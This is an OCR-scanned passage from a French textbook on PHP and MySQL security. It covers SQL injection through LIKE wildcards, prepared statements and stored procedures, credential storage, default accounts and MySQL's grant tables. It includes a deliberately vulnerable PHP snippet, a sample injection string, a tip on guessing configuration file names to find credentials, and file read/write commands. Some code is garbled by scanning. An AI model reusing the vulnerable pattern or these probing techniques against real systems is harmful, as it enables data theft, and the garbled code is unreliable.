L’ opérateur LIKE est tres pratique pour réaliser des recherches simples ou pour appliquer
un premier critére de sélection sur des données. L e signe souligné remplace un caractere
unigue tandis que le signe pourcentage remplace n’importe quelle quantité de caracteres.

Les fonctions de protection ignorent ces deux caracteres, qui n'ont pas d'autre signification
particuliére en dehors de leur utilisation avec LIKE. Autrement dit, le script suivant est
vulnérable auneinjection :

<{?php
$_GET['prefixe']l = "%e";
$res = mysqli_query($mid, 'SELECT mot FROM dictionnaire WHERE mot LIKE
="' mysqli_real_escape_string($mid, '$_GET["prefixe"]').'%" ');

>

mysqli_real_escape_string() ignore le caractére 4. Si latable dictionnaire dispose d’un
index sur la colonne mot, la clause LIKE va pouvoir I utiliser et étre tres rapide.



Vulnérabilités des bases de données

135

CHAPITRE 7

Avec cette injection toutefois la requéte ne peut plus utiliser I'index et tente une analyse
compléte de latable pour rechercher tous les mots qui contiennent lalettre e. L’ exécution
est donc beaucoup plus lente que prévue.

Pour se prémunir contre ce type d'injection, il faut protéger les caracteres souligné et
pourcentage en les préfixant avec une barre obliqueinverse. Le plussimple est defaireun
remplacement de ces deux caractéres avec str_replace OU bien preg_replace(). Cepen-
dant, PHP recele une de ces fonctionnalités cachées : addcslashes(). Cette fonction gjoute
une barre oblique inverse aux caractéres qui lui sont indiqués en deuxieme argument :

<?php

$_GET['prefixe']l = "%e";

$tmp = mysqli_real_escape_string($mid, '$_GET["prefixe"]1');

$tmp = addcslashes($tmp, "%_");

$_CLEANL 'prefixe'] = $tmp;

$res = mysqli_query($mid, 'SELECT mot FROM dictionnaire WHERE mot LIKE "'.$tmp.'%" ');
>

Variables MySQL

MySQL propose un systeme de variables serveur, qui peuvent étre bien pratique pour
renforcer la sécurité. Une variable MySQL est créée puis utilisée comme ceci :

mysql> SELECT @login := 'valeur', @passe := 'passe' ;
mysql> SELECT count(*) FROM utilisateurs WHERE Togin = @login AND passe = @passe;

Lapremiére requéte SQL est une affectation de variables. Ces valeurs sont ensuite réuti-
lisées dans larequéte d' identification. Notez qu’ on est passé de une a deux requétes pour
réaliser laméme fonction. Toutefois, la premiére requéte est trés rapide, car il n'y apas de
tableimpliquée. C'est une simple alocation de mémoire, qui prend un tempsinsignifiant.

Larequéte d’identification est désormais protégée, car une valeur introduite dans @1ogin
et @passe est maintenant traitée comme une valeur et non plus comme une partie de la
commande. MySQL sait parfaitement faire la différence entre les valeurs et lacommande :
il 'y aplus de danger d’injection.

En réalité, vous aurez remarqué que le probléme a simplement été déplacé. Au lieu de
faire une injection dans la requéte d'identification, elle peut désormais avoir lieu dans la
requéte d’ allocation des variables.

Toutefois, il devient maintenant trés facile de protéger I’ affectation des variables : ¢’ est
toujours la méme requéte qui effectue I affectation. Sa structure est simple et facile a
protéger avec des guillemets et des fonctions de protection. Il n'y a plus a protéger diffé-
rents types de commandes tels SELECT, UPDATE, INSERT, CREATE, DROP, SET, €tC.

De plus, I'impact d'une injection est considérablement réduit, puisque I'injection se
passe désormais lors de I’ affectation de la variable et non plus dans la commande utile.
Dans le cas ou une vulnérabilité inconnue serait exploitée, ¢’'est la commande SET qui
serait affectée et non plus la manipulation directe des données, utilisant SELECT, UPDATE OU
DELETE.
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Notez que la commande SeLECT de MySQL retourne la valeur qui a été affectée par la
requéte. Cela permet de recevoir la valeur qui a été envoyée en méme temps que |’ affec-
tation.

mysql1> SELECT @passe := '' or (1) = '1';
e e +
| @asse := or (1) = "1" |
e R +
| 1
e e R T +

1 row in set (0.00 sec)

Cette technique est souvent méconnue, mais elle ale mérite d’ étre simple a appliquer et
de bien séparer les commandes et les valeurs, comme le font les commandes préparées.
Elle rend aussi les requétes SQL compléetement fixes et plus lisibles dans le code : plus
besoin de construire des requétes SQL complexes alavolée, mais simplement des affec-
tations de variables et des requétes fixes.

Commandes préparées

Latechnique précédente utilisait un concept important : la séparation de la commande et
des valeurs. Les commandes préparées portent cette technique encore plusloin.

On commence par demander au serveur SQL de préparer la requéte, sans lui donner les
valeurs qui seront utilisées. Puis, on indique les valeurs sur lesquelles le serveur doit
exécuter la requéte. Voici a quoi ressemble I’ enchainement des actions en PHP avec PDO.
L’objet $sdbh est une connexion & une base de données, qui reconnait les commandes
préparées : ¢’ est le cas de PostGreSQL, Oracle, IBM DB2, SQL.ite et de bien d autres.

<{?php

/I séquence de connexion

$stmt = $dbh->prepare("INSERT INTO REGISTRY (nom, valeur) VALUES (:nom, :valeur)");
$stmt->bindParam(':nom', $nom);

$stmt->bindParam(':valeur', $valeur);

$valeurs = range('a', 'z');
foreach($valeurs as $valeur => $nom) {
/l insertion d'une ligne

$stmt->execute();
}
/I séquence de déconnexion
>

Lors de la préparation de la commande, les variables sont identifiées par leur nom. Elles
sont ensuite remplies par de vraies valeurs al’ aide des appels abindparam(). Cette fonc-
tion prend le nom de lavariable dans la requéte SQL et sa valeur stockée dans une varia-
ble PHP,

Cette technique est la plus slre qui soit pour la manipulation de données. Cependant,
toutes les interfaces de bases de données n’ en disposent pas ; dans ce cas, il faudra utiliser
la protection des valeurs présentée dans | es sections précédentes.
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Toutefois, les commandes préparées ne sont pas totalement slres. Leur sécurité repose
sur la séparation entre lacommande et les valeurs, ainsi que sur le type de données qui est
imposé alavariable. Certains types de données ne peuvent pas étre compilés a ce stade et
laissent passer des possibilités d’injection. A I’ heure actuelle, cela reste néanmoins la
meilleure défense.

Attention

Les commandes préparées ont un impact non négligeable en termes de performances, surtout quand la
requéte n'est utilisée qu'une seule fois. Non seulement le code PHP est bien plus long, mais en plus la
séparation de la préparation et de I'exécution colite un peu plus cher au serveur SQL. Ces codts sont
uniques et il est possible de réutiliser une commande préparée plusieurs fois dans le méme script PHP,
sans avoir a la préparer plus d'une fois. Dans ce cas, le colt total de la requéte va diminuer.

Procédures stockées

Voici la derniére tactique de protection envisageable : I’ utilisation de procédures stoc-
kées. L' approche est laméme que pour I’ utilisation des variables MySQL : on déportele
probléme de I’ injection dans un cadre ou cette derniére ne pourra pas avoir d' effet direct
sur lasignification de larequéte.

DROP PROCEDURE identifie;
DELIMITER //
CREATE PROCEDURE identifie (IN 1 char(20), IN p char(32), OUT user INT)
BEGIN
SELECT COUNT(*) INTO user FROM utilisateurs WHERE login = 1 AND passe = p;
END;
//

DELIMITER ;

L’ appel aunetelle procédure devient alors:

$requete = " CALL IDENTIFIE(' " .mysqli_real_escape_string($mid, $_POST['login']).
=t ot mysqli_real_escape_string($mid, $_POST['passe']). "',@id) ";

/I exécution de la premiére requéte

$requete = " SELECT @id; "

Sous cette forme, une injection ne peut pas modifier la commande utile, ¢ est-a-dire
I"identification, qui est bien protégée a l’intérieur de I’ appel de la procédure et ne peut
plus étre détournée de son objectif final.

Les injections restent possibles au niveau des valeurs qui sont fournies a la procédure
stockée. |l faut donc appliquer les protections d' usage.

Savoir limiter les dégats

Une approche prudente dans la manipulation des données sur le serveur est de lui indi-
quer le nombre maximal de lignes a manipuler. Si jamais une erreur se glisse dans la
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requéte SQL, celaauraun impact sur un nombre limité de lignes et non plus sur I’ ensemble
des données.

MySQL propose une clause originale en SQL : LIMIT. Cette clause est disponible avec les
différentes commandes de manipulation de données et permet de réduire le nombre de
lignes concernées. Prenons un exemple :

mysq1> SELECT colonne FROM table LIMIT 10;
mysql> DELETE FROM table LIMIT 10;
mysql> UPDATE table SET colnne = ' valeur ' WHERE id = 1000 LIMIT 1;

Lasélectionlitleslignesdelatable table, mais ne retourne que les 10 premiéres, si elles
existent. Grace a cette approche, le script PHP qui lit des données ne pourra pas étre
submergé par un tsunami de lignes.

Danslecasdelamise ajour ou del’ effacement, |’ ajout de laclause LIMIT garantit que la
modification des données n’ira pas plus loin que le nombre de lignes spécifié. Si vous
devez modifier une fiche d' utilisateur danslatable, LIMIT 1 S assurera qu’une seuleligne
sera effectivement réécrite.

LIMIT ne garantit pas que laligne qui sera effacée ou modifiée sera celle que vous vouliez
effectivement manipuler : elle garantit simplement que ce n’ est pas toute la table qui sera
modifiée.

mysql1> DELETE FROM table LIMIT 10;

Si jamais vous deviez faire une erreur, cette requéte serait bien moins dommageable a
votre application que celle-ci :

mysql> DELETE FROM table;

Enfin, du point de vue MySQL, il est aussi possible de limiter le nombre de lignes lues
par une sélection avec select_limit €t max_join_size. On peut également éviter |es UPDATE
gui ne contiennent pas de clause WHERE avec safe-updates. Nous présenterons plus en
détail la configuration du client MySQL au chapitre 8.

Acces au serveur SQL

L' accés a la base de données SQL est généralement protégé par un nom d’ utilisateur et
un mot de passe. Ils sont nécessaires dans |’ application PHP pour pouvoir ouvrir la
connexion. La gestion de ces mots de passe est une opération délicate : en effet, ils doivent
rester secrets.

Ou ranger les acces au serveur SQL ?

Dans une application web basée sur une pile LAMP, il faut bien donner au script PHP les
moyens de se connecter aMySQL. Donc, il faut les placer a un endroit auquel PHP peut
accéder. Si, profitant d' une vulnérabilité, un pirate obtenait un acces au code source, les
mots de passe seraient révélés. |l faut par conséquent les ranger judicieusement.
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Par ailleurs, les mots de passe sont généralement rassembl és en un seul endroit. Comme
ils sont virtuellement nécessaires dans chaque script d’ une application, les applications
web ont besoin d’ un mécanisme pour les centraliser : en les modifiant a un endroit, il est
possible de changer la configuration de toute I’ application. En termes de sécurité, cela
réduit I’ exposition des données secretes. |l ne reste plus qu’' un seul point a sécuriser : le
stockage.

Dans un fichier de configuration

Latechnique la plus répandue est de ranger les mots de passe dans un fichier de configu-
ration, qui est inclus et exécuté au début de chaque script.

Le problemele plus fréguent associé aun tel fichier est la publication de son code source.
Souvent « affublé» d’une extension .inc, il peut étre publié par inadvertance par le
serveur web. C'est un cas pratique de problémes d’ extensions de fichiers. La meilleure
solution est alors de placer le fichier dans un dossier hors Web, pour ne pas le publier
invol ontairement.

Pensez aussi qu'il est possible de découvrir e nom du fichier de configuration par défaut
pour de nombreuses applications Open Source. Pour les autres, plusieurs noms classi-
gues sont possibles: configuration, config, conf, Nom_de_1_application, admin, install

etc. Les extensions sont alors .php, .inc, .inc.php, .php4. Il suffit de lestester rapidement
et d'avoir un peu de chance pour obtenir des valeurs de connexion.

Enfin, on peut envisager de chiffrer le nom d' utilisateur et e mot de passe au lieu de les
stocker en clair dans un fichier : toutefois, celane fait que déplacer le probleme. Il faut
maintenant ranger la clé de déchiffrement quelque part... peut-étre dans un autre
fichier chiffré ?

Dans le serveur web

Le serveur web constitue I autre point commun atous les scripts. Ce dernier ala capacité
de communiquer avec les scripts PHP a I’ aide des variables d’ environnement. Ainsi, au
lieu de ranger les informations de connexion dans un fichier, on peut les mettre dans le
fichier de configuration global du serveur web ou dans un fichier .htaccess. Par exemple,
pour Apache, vous pouvez gjouter les lignes suivantes :

SetEnv MySQL_hote "localhost "

SetEnv MySQL_login "utilisateur_mysql "
SetEnv MySQL_passe "mot_de_passe "
SetEnv MySQL_base "base "

Puis, dans le script PHP, il suffit d'appeler les variables d’'environnement pour les
obtenir :

<?php

$mid = mysqli_connect($_SERVER['MySQL_hote'], $_SERVER['MySQL_Tlogin'],
= $ SERVER["MySQL_passe'], $_SERVER['MySQL_base']) ;

>
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De cette maniére, il est plusdifficile delire directement les données : |e pirate doit pouvoir
réaliser une injection de code PHP pour y accéder.

Les sites qui utilisent phpinfo() sont alors vulnérables, car cette fonction affiche en clair
les données de configuration. Quoi qu'il en soit, il est recommandé de ne pas utiliser
phpinfo() en public.

Dans un fichier php.ini

Encore plus discret que de passer par le serveur web, il est possible de donner les
éléments de configuration MySQL par défaut dans le fichier php.ini.

mysql.default_host = "127.0.0.1 "
mysql.default_user = "utilisateur
mysql.defaut_password = "passe "

Dans ce cas, le script PHP se simplifie et devient :

<?php
$mid = mysqli_connect() ;
>

Désormais, il faut une injection de code PHP pour pouvoir y accéder, via la fonction
ini_get() OU ini_set(), ou bien un phpinfo() public: pensez aors a le protéger ou ale
désactiver avec disable_functions.

Se protéger depuis le serveur

Lameilleure protection des identifiants sera placée dans MySQL . Si vos serveurs SQL et
web sont sur le méme serveur, vous pouvez configurer un utilisateur web dans MySQL,
enindiquant I’ adresse IP locale. Ainsi, si les données de connexion sont obtenues par un
pirate, il ne pourra pas les utiliser directement : laconnexion a MySQL seralimitée aun
utilisateur provenant de I’ adresse locale.

Si le serveur MySQL est situé sur un autre serveur distant, vous pouvez alors configurer
un utilisateur avec une adresse |P unique, de maniere a limiter les possibilités d acces.
Celafait partie du concept de limitation des droits accordés aux utilisateurs.

De cette maniére, méme en cas de publication des acces, le serveur MySQL restera
inaccessible.

Mot de passe par défaut

Etudions maintenant la gestion des mots de passe au niveau de MySQL , aprés avoir traité
de leur gestion au niveau de PHP.

Par défaut, le nom du super-utilisateur d' un serveur MySQL est root €t e mot de passe
est lachainevide ' . Il est évident que juste aprés uneinstallation, il faut changer le mot
de passe du super-utilisateur, sous peine de se voir aisément déposséder du compte le
plus important sur le serveur.
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Pour changer le mot de passe, vous pouvez utiliser deux techniques :
 Si vous étes déja connecté comme super-utilisateur, utilisez cette commande :
mysql> SET PASSWORD FOR root@localhost=PASSWORD('secret’);

e Sinon, effectuez les modifications directement dans la base de droits, qui est la base
mysql :

mysq1> USE mysql ;

mysq1> UPDATE user SET password=password('secret') WHERE user='root' LIMIT 1 ;
mysq1> SELECT * FROM user WHERE user='root' ;

mysql> FLUSH PRIVILEGES ;

Vous pouvez aussi renforcer la sécurité en changeant le nom du super-administrateur par
un autre :

mysq1> USE mysql ;
mysql> UPDATE user SET user = 'chef' WHERE user='root' ;
mysql> FLUSH PRIVILEGES;

Désormais, le super-administrateur du serveur MySQL est chef et non plus root. Cela
donnera du fil aretordre aux pirates qui devront maintenant deviner le nom du compte
super-administrateur en plus de celui du mot de passe. || faudraméme qu'’ils parlent fran-

cas...

Acces anonymes au serveur SQL

Voici une regle de base importante : donnez toujours des mots de passe aux utilisateurs
MySQL, quelsqu’ils soient. Il est recommandé de ne jamais avoir d’ utilisateurs sans mot
de passe. IIs sont faciles aidentifier, grace alabase de donnéesmysql :

mysq1> USE mysql ;
mysql> SELECT * FROM user WHERE password='" ;

Ces deux commandes vont immédiatement retourner la liste des utilisateurs sans mot de
passe. Modifiez-les comme ceci :

mysq1> UPDATE user SET password=password('secret') WHERE password="" ;
mysql1> FLUSH PRIVILEGES ;

Laderniére commande, FLUSH PRIVILEGES, est cruciale : lorsgue vous modifiez des droits
d'accés dans labase mysq1, les modifications ne sont pas prises en compte jusqu’ a ce que
VOous exécutiez cette commande, ou que le serveur redémarre.

Aprés|’installation, rappel ez-vous que MySQL crée par défaut un utilisateur anonyme. 11
vaut mieux ne pas le laisser configuré sur un serveur en production.

mysq1> DELETE FROM user WHERE user = "' ;
mysq1> FLUSH PRIVILEGES ;
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Du point de vue de la sécurité, il est important de supprimer les utilisateurs qui peuvent
se connecter depuis n’importe quelle adresse réseau. |ls sont identifiables avec le carac-
tére joker pourcentage % dans leur adresse IP:

mysql> SELECT user, host, password FROM user WHERE host = '%' ;
mysql> DELETE FROM user WHERE host = '%' ;
mysq1> FLUSH PRIVILEGES ;

Par défaut, ce type de configuration n’ est pas recommandé, car il fournit beaucoup trop de
possibilités d’ acces: I adresse | P est la premiére donnée testée par MySQL lorsqu’ un utili-
sateur tente d'ouvrir une connexion. Lorsque le symbole % est utilise, MySQL accepte
n'importe quelle adresse d’ origine et le serveur n' est plus défendu que par le nom d’ utili-
sateur et le mot de passe. Si vous envisagez de donner des droits d’ acces distants a des
utilisateurs, il est recommandé au minimum de restreindre leurs accés acertains réseaux :

mysq1> UPDATE user SET host = '%.fai.com' WHERE host = '%' ;

Certes, le serveur ne sera pas compl etement barricadé, maislafenétre d' accés des pirates
est maintenant bien plus petite.

Protocoles de communication de MySQL

DepuisMySQL 4.1, MySQL achangé son protocole d' identification du mot de passe. Le
chiffrement utilisé pour communiquer et stocker le mot de passe a été notablement
renforcé, avec une augmentation de la taille de 16 caractéres a42. De plus, |e protocole
d'échange avec le client aaussi changé : désormais, le mot de passe transite sous forme
chiffrée, alorsqu'il était échangé en clair auparavant.

Ces mesures ont amélioré la sécurité lors de I’ établissement de la connexion entre le
serveur et le client. Toutefois, la migration d’une version ancienne de MySQL vers une
plus récente ne se fait pas sans mal, car les deux systémes ne sont pas compatibles :
nombreux sont ceux qui ont recu I'impopulaire message Client does not support authen-
tication protocol requested by server.

Pour utiliser le nouveau systéme d'identification, il faut que le serveur MySQL et les
bibliothégues clientes soient mis & jour pour utiliser le nouveau protocole. PHP a mis a
jour la bibliothégue cliente de I'extension mysq1 depuis la version 5.0.3 et celle de
I’ extension mysq1i depuislaversion 5.0.0.

Il est recommandé de mettre ajour les bibliothéques et |e serveur, d' autant plus que MySQL
N’ assure plus d’ assistance technique pour laversion MySQL 4.1 « communauté » depuis
lafin de I’année 2006. La version « entreprise » jouit d’un répit, mais son abandon est
auss programmeé pour I’ année 2008. En attendant, il faut donc utiliser une version dégradée
du protocole, encore compatible avec I’ ancien, et qui n’est pas aussi sr que le nouveau.

Si la mise a jour des hibliothéques clientes est impossible, vous pouvez démarrer le
serveur avec le mode --o1d-passwords (littéralement, anciens mots de passe), pour qu'il
reprenne le comportement des versions 4.0 et antérieures.
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Les inconvénients de cette approche sont doubles : non seulement le systéme utilise
I"ancien protocole qui est beaucoup moins bien sécurisé, maisil faut également que
I"administrateur vérifie que les mots de passe sont correctement créés, avec le bon algo-
rithme. Dans |es versions récentes, MySQL dispose de lafonction PASSWORD(), qui appli-
guele chiffrement officiel, et delafonction oLb_PASSWORD(), qui est I’ ancienne fonction de
chiffrement. Avec I’ option, --o1d-passwords, 0LD_PASSWORD() devient PASSWORD().

Acces secondaires

Il existe des accés secondaires aux données sur un serveur SQL. |ls sont vitaux pour le
doivent étre protégées. C'est le serveur SQL qui assure la protection des données ; sans
lui, les données ne sont pas sécurisées. Voici quel ques « backdoors » (littéralement portes
de derriére) pour accéder aux données d'un serveur SQL.

Sauvegardes

Parmi les accés discrets, on peut citer les systemes de sauvegarde. Certains effectuent
la sauvegarde en se connectant comme client, d'autres le font en travaillant directe-
ment sur les fichiers de données, via le systeme de fichiers. Surtout, les données qui
sont sauvegardées sortent du giron du serveur et ne sont donc plus protégées comme
elles|’ étaient.

Un export SQL des données, réalisé avec I’ utilitaire mysqldump ou lacommande SELECT ...
INTO OUTFILE pourra étre simplement rechargé dans une autre base de données (MySQL,
par exemple). Une copie binaire des fichiers de données pourra étre relancée sur un
systéme similaire, mais avec des droits d'acceés différents: avec MySQL, il suffit
simplement de supprimer la base de données mysq1, pour que le serveur se lance sans
aucune gestion des droits.

Enfin, les données de sauvegarde sont stockées généralement sur différents média, qui
présentent des risques de sécurité supplémentaires. Un stockage sur un autre serveur du
réseau local impose les mémes mesures de sécurité que sur le serveur principal.

Si le stockage est effectué sur des disques amovibles, tels des DVD ou cassettes DAT, il
faut aussi mettre en place un processus de sécurité pour protéger |’ accés physique a ces
données : autrement, €lles peuvent étre facilement emportées par un employé, ou par le
responsable de I’ entretien. Vous avez slirement déja entendu des histoires de personnes
licenciées, qui partent avec une ou deux cassettes de sauvegarde dans leur besace.

Pour protéger vos données contre ce type de fuites, il faudra mettre en place des proces-
sus qui sortent du cadre informatique. La seule option disponible d’ un point de vuelogi-
ciel est le chiffrement. Vous pouvez utiliser un systeme de fichiers qui chiffre les
données sur le disgue. Cela protége les données, méme si le support physique de stoc-
kage est volé.
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Réplication

Laréplication MySQL établit un systéme de recopie des informations depuis un serveur
maitre vers un ou plusieurs systémes esclaves. La réplication peut servir de sauvegarde
en temps presque réel.

Dans cette configuration, I'esclave court les mémes risques que le serveur maitre,
puisgu’il contient les mémes données. || faut donc appliquer al’ esclave les mémes régles
d’ acces et de protection qu’ au serveur maitre.

Or, il est fréguent de bien vérifier la sécurité du serveur maitre et de survoler la sécurité
des esclaves. Soyez discipliné dans votre application des regles de sécurité et utilisez les
mémes regles pour chague serveur MySQL de votre architecture.

La mise en place de réplication demande aussi I’ ouverture de comptes supplémentaires
pour accéder au serveur maitre viale réseau. Pensez donc avérifier que des régles strictes
ont été mises en place pour cet acces.

Fichiers de log SQL

Lesfichiersdelog du serveur sont un autre point faible du systeme. MySQL entretient de
nombreux fichiers delog, tels que le log de requétes lentes, le log binaire ou encore le log
de requétes. Ceslogs notent les requétes qui s exécutent sur le serveur : le premier concerne
les requétes les plus lentes, le deuxieme enregistre les requétes qui engendrent des modi-
fications pour les propager aux esclaves et |e troisieme sauvegarde toutes |es requétes.

Si un pirate met lamain sur ces logs, il pourra extraire de nombreuses informations, car
les requétes sont enregistrées en clair : en effet, ces logs doivent pouvoir étre relus pour
en tirer des informations sur le comportement du serveur, ou pour étre relayés aux escla-
ves. Par exemple, une requéte de changement de mot de passe sera enregistrée delafacon
suivante :

mysq1> UPDATE utilisateurs SET mot_de_passe = md5('prefixe'.'phrase_secrete'.
= 'suffixe’') WHERE utilisateur = 'admin' LIMIT 1 ;

Liste des processus

La commande SHOW PROCESSLIST présente les mémes risques de sécurité que les logs de
requétes présentés dans la section précédente. Elle affiche en clair les requétes qui sont
en cours d exécution, ainsi que les valeurs utilisées.

mysq1> SHOW PROCESSLIST;

poommnes eeemee rmmmnnees ommmmnennnes eoemmnnas eonmennooe o +
| Id | User | Host | db | Command | Time | State | Info |
e eeemee remmmmneee SR eemmmmnes oem oo b +
| 36376 | phpv4 | Tocalhost | phpversiond | Query | 0 | NULL | show processlist \
| 36377 | phpv4 | Tocalhost | phpversiond | Query | 0 | NULL | UPDATE mysql.user SET password=PASSHORD('not_secure').
fromenes eenees rmmmnnes eomomeeonenes eemnenes oo oo e +
1 row in set (0.00 sec)
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Fichiers de données

Lesdroitsde FiLE de MySQL font I'interface entre le systeme defichiers et lestables. Un
utilisateur qui a ces droits peut utiliser les commandes suivantes :

mysql> LOAD DATA INFILE 'path/fichier.txt' INTO TABLE table ;
mysql> SELECT * FROM table INTO OUTFILE '/tmp/table.txt' ;

La premiére commande lit le contenu d’un fichier dans une table. En créant une table
avec une colonne de type TEXT, on peut ainsi lire aisément des fichiers quelconques pour
les mettre dans une table et les réutiliser al’ aide des commandes SQL .

La deuxiéme commande exporte des données depuis une table vers le systéme de fichiers.
En fonction des droits d’ accés aux fichiers, elle permet aussi d' écraser des fichiers existants,
ou de les remplacer par des contenus qui proviennent des tables du serveur.

En import comme en export, les droits de FILE sont donc critiques. C’ est pour cela que
MySQL ne donne pas ce droit par défaut et qu'il faut I’ attribuer de maniére explicite. De
plus, par sécurité, MySQL n’autorise pas |’ écriture dans un fichier existant et n’ écrit que
dans des fichiers dont |es dossiers sont accessibles a tous.

Communications

Enfin, il reste un dernier accés secondaire au serveur : le réseau entre le client et le
serveur.

Si votre serveur MySQL est destiné a fonctionner uniquement avec des clients locaux a
lamachine, et jamais a distance, vous pouvez tout simplement désactiver lesfonctions de
réseau, avec |’ option --skip-networking du serveur MySQL. Il sera alors impossible de
communiquer adistance.

Si vous utilisez MySQL sur un réseau local, il est recommandé de bloquer le port 3306
au niveau du pare-feu qui securise I’ accés au réseau local. De cette maniére, seule une
machine locale pourra accéder aMySQL.

Enfin, le protocole de communication de MySQL prend en charge les chiffrements SSL,
' est-a-dire que les commandes et données qui transitent entre le serveur et le client sont
chiffrées de maniére a ne jamais étre lisibles facilement par un intermédiaire. Si vous
utilisez MySQL a travers un réseau non protégé, ¢’ est la meilleure méthode pour vous
prémunir contre |’ interception des communications.
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La gestion des droits de MySQL est un systéme a deux couches. La premiére vérifie que
I" utilisateur ale droit de communiquer avec MySQL. La seconde sert aidentifier les opéra-
tions qui sont autorisées et les données sur lesquelles ces opérations sont applicables. Pour
maitriser la sécurité de la base de données, il faut bien connaitre les deux systémes.

Base de données mysq|

mysql est la base de données réservée par MySQL pour stocker les droits et interdictions
afférant aux utilisateurs.

Les tables de cette base ne sont accessibles qu’avec les droits de GRANT, C'est-a-dire
I" autorisation de gérer lesdroits sur le serveur. || est alors possible de manipuler les droits
de deux maniéres :

e Lapremiére consiste a utiliser les commandes GRANT et REVOKE, qui permettent de faire
les manipulations nécessaires dans | estables, avec effet immeédiat : aprés exécution, les
droits sont effectifs. C'est la méthode recommandée par MySQL AB pour modifier
les droits.

» Pour laseconde, il s agit d' utiliser les commandes classiques SELECT, UPDATE, DELETE et
INSERT avec ces tables. Cette approche est plus efficace quand vient le temps de gérer
un nombre important d’ utilisateurs, ou de faire des mises ajour de masse. D’ un autre
cOté, elles sont aussi plus risquées : imaginez une mauvai se manipulation qui conduise
al’ écrasement de tous les mots de passe d’ un seul coup, comme ceci :

mysql> UPDATE user SET password=password('nouveau') ; WHERE user='root' ;



148

Risques liés aux bases de données
PARTIE 3

Une telle commande force les mots de passe de tout le monde a nouveau. Notez la
coquille du point-virgule qui est inséré au milieu du code. Si cette erreur vous fait
sourire, n'oubliez jamais qu'’il y atoujours deux types d' administrateurs : ceux qui ont
fait une telle bourde et ceux qui vont lafaire.

Heureusement, vous avez un filet de secours : aprés manipulations dans lestablesdela
base mysq1, le serveur ne prend pas immédiatement en compte les nouveaux droits. I
faut lui demander explicitement de recharger les tables avec la commande ou alors
attendre le prochain démarrage du serveur :

mysq1> FLUSH PRIVILEGES ;

Avec la commande UPDATE, le serveur n’est pas perdu, mais il est dans un état haute-
ment instable : en effet, les anciens droits sont toujours actifs jusqu’ au prochain
redémarrage.

Cependant, comme UPDATE ne peut pas étre annulée, e serveur ne pourra étre sauve que
s une sauvegarde des droits a été faite et peut étre récupérée rapidement.

Dans le cadre de la sécurité, les tables qui nous intéressent sont les suivantes :

 user, qui contrOle les acces au serveur, les droits globaux du serveur et les limitations
de ressource ;

* db, qui controle les acces aux bases de données ;

* host, qui compléte les acces aux bases de données ;

e tables_priv, qui contréle les acces aux tables dans les bases de données ;
e columns_priv, qui controle les accés aux colonnes dans les tables;;

* func, qui contrble I’ utilisation des fonctions utilisateur (malheureusement, elle n’est
pas encore documentée) ;

e procs_priv, qui contrOle les procédures stockées et leur exécution.

Regles d’acces a MySQL

La premiére couche de protection est principaement gérée par troistables: user, db €t host.

Utilisateurs MySQL

Dans la base de données mysq1, la table des utilisateurs (user), est la premiére ligne de
défense du serveur. C'est dans cette table que I’ on configure les noms d’ utilisateurs, les
mots de passe associés, ainsi que les hdtes d’ origine.

Cette table comporte trois types de colonnes, en fonction de leur application ala sécurité :
les colonnes de connexion, les colonnes d’ opérations et |es colonnes de limitations. Voici
celles qui nous intéressent :
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mysql> desc user;

oo R e e T +
| Field | Type |
e e PR PR R T e +
| Host | char(60) |
| User | char(16) |
| Password | char(41) |
| ss1_type | enum("*,"ANY",'X509",'SPECIFIED") |
| ss1_cipher | blob

| x509_issuer | blob

| x509_subject | blob

/1 les autres colonnes seront présentées plus loin dans le chapitre

Noms d’utilisateurs

La colonne user contient le nom de I’ utilisateur. Elle ne peut pas étre nulle, mais elle
accepte |’ utilisateur sansnom : ¢’ est I” utilisateur anonyme, représenté par une chaine vide.

Mots de passe

Lacolonne password contient les mots de passe chiffrés, qu'il est impossible de stocker en
clair. Lorsque vous manipulez cette table, il faut utiliser la fonction password() sur les
mots de passe insérés ;

mysql> insert into mysql.user values ('utilisateur',password('nouveau'), '127.0.0.1") ;

Comme pour la colonne user, il est possible de laisser password vide : cela signifie que
I"utilisateur n’a pas besoin de mot de passe pour se connecter. Néanmoins, il est tres
fortement recommandé d’ éviter cette situation. Notez aussi qu’un utilisateur qui fournit
un mot de passe alors qu’il n’en a pas besoin sera refuse.

Hote de connexion

Enfin, la colonne host contient le nom de I’ hte autorisé a se connecter, qui peut étre
décrit sous forme de nom littéral, tel que www.mysq1.com, ou alors sous forme d’ adresse | P,
comme 213.136.52.29.

La colonne host peut aussi contenir des caractéres jokers, qui assouplissent un peu les
regles: ceci est bien évidemment trés utile pour les connexions a distance avec des
adresses |P dynamiques. Les caractéres jokers sont les mémes que ceux utilisés avec
I’ opérateur LIKE : %, pour remplacer n'importe quels caractéres arbitraires, et _, pour
remplacer un caractére unique. Voici quelques exemples:

213.136.52.29 : IP unique
213.136.52._ : 213.136.52.0 & 213.136.52.9
213.136.52.% : 213.136.52.0 & 213.136.52.255

www.mysql.com : uniquement le site de MySQL

___.mysql.com : tous Tes sites du domaine MySQL avec 3 caractéres : dev, www, svn
=mais pas bugs ou shop.

%.mysql.com : tous les sites du domaine MySQL

#mysql.com : tous les domaines qui finissent par mysql.com : www.mysql.com, mais aussi
=www.sans-mysql.com, www.oracle-mysql.com
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L’ utilisation des jokers doit étre bien surveillée : comme vous pouvez |e constater grace
aux exemples précédents, une configuration mal faite peut facilement conduire al’ ouver-
ture du serveur a des adresses |P qui n’ étaient pas prévues initialement : dans le dernier
exemple, non seulement les sites de mysq1.com, mais aussi bien d autres, peu recomman-
dables, sont autorisés a se connecter.

Le caractere joker % peut ére utilisé seul dans la colonne host : il remplace aors n'importe
quelle adresse. C'est I'acces universdl. |1l est recommandé de ne jamais I'utiliser et de
toujours privilégier I" utilisation d' un joker avec du texte littéral.

Notez aussi que MySQL adopte une approche restrictive lorsqu’il doit ouvrir son acces :
lorsque e serveur obtient plusieurslignesissuesdelatable user, qui vérifient chacuneles
contraintes d' hétes, MySQL prendratoujours laligne qui contient I héte le plus précis.

Chiffrement des communications

Laconnexion entrele client et le serveur est chiffrée en fonction de la configuration utili-
sée dans la colonne ss1_type. MySQL prend en charge SSL et X509, en fonction de la
compilation du serveur. Si un chiffrement est configuré, il faut alors qu’il soit utilisé.
"ANY' laisse le choix du chiffrement au client, mais exige I’un ou I’ autre. La chaine vide,
"', autorise les connexions en clair.

Les chiffrements de connexion sont recommandés si les données transitent par |nternet
ou par un réseau ouvert. Dans le cas d’ une connexion locale, ou dans un réseau dont la
securité est bien maitrisée, I'impact en termes de performances est généralement rédhibitoire.
En ce qui concerne les connexions sur un réseau locd, il faut évaluer I’amélioration de la
sécurité par rapport aux performances.

Tables de bases et d’hotes

